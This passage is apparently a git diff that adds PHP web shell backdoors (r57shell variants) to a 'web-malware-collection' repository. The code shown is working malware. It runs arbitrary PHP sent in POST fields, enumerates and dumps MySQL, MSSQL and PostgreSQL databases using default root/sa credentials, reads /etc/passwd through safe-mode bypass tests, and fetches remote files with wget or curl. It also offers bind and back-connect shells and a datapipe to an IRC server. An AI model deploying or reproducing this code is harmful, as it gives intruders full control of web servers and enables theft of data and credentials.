($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.$table_end1.$fe; +echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font; +echo "<div align=center><textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.$table_end1.$fe; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text77']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text78'].$arrow."</b>",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text79'].$arrow."</b>",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>","<select name=db><option>MySQL</option><option>MSSQL</option><option>PostgreSQL</option><option>Oracle</option></select>"); +echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></table>"; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."<tr>".$fs."<td valign=top width=34%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></table>"; +} +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/r57.php b/web-malware-collection-master/Backdoors/PHP/r57.php new file mode 100755 index 0000000..3dbef4f --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/r57.php @@ -0,0 +1,2115 @@ +<!-- ALBANIA (n) SECURITY CLAN --> + + +<?php +/******************************************************************************************************/ +/* +/* irc.ascnet.biz +/* +/******************************************************************************************************/ + +// ????? ????? | Language +// $language='ru' - ??????? (russian) +// $language='eng' - english (??????????) +$language='eng'; + +// ?????????????? | Authentification +// $auth = 1; - ?????????????? ???????? ( authentification = On ) +// $auth = 0; - ?????????????? ????????? ( authentification = Off ) +$auth = 0; + +// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) +// ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57' +// Login & password crypted with md5, default is 'r57' +$name='11f942ba7f384ddcc245810b87f659d5'; // ????? ???????????? (user login) +$pass='11f942ba7f384ddcc245810b87f659d5'; // ?????? ???????????? (user password) +/******************************************************************************************************/ +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = '3.5'; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="ghhghh"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=sdfsqdfsqdf>ghhghh</a> : Access Denied</b>"); + } +} +$head = '<!-- ??????????, ???? --> +<html> +<head> +<title>powered by => IRC.ASCNET.BIZ <= & => www.asc.sh <= </title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #ff6600; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +color: #ff6600; +} +.table1 { +BORDER: 0px; +BACKGROUND-COLOR: #333333; +color: #ff6600; +} +.td1 { +BORDER: 0px; +font: 7pt Verdana; +color: #ff6600; +} +.tr1 { +BORDER: 0px; +color: #ff6600; +} +table { +BORDER: #eeeeee 1px outset; +BACKGROUND-COLOR: #333333; +color: #ff6600; + +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #990000; +font: 8pt Verdana; +color: #ffff00; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #ffff00; +font: 8pt Verdana; +color: #000000;; +} +submit { +BORDER: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +color: #000000; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #999999; +font: Fixedsys bold; +color: #000000; +} +BODY { +margin: 1px; +background-color: #333333; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new 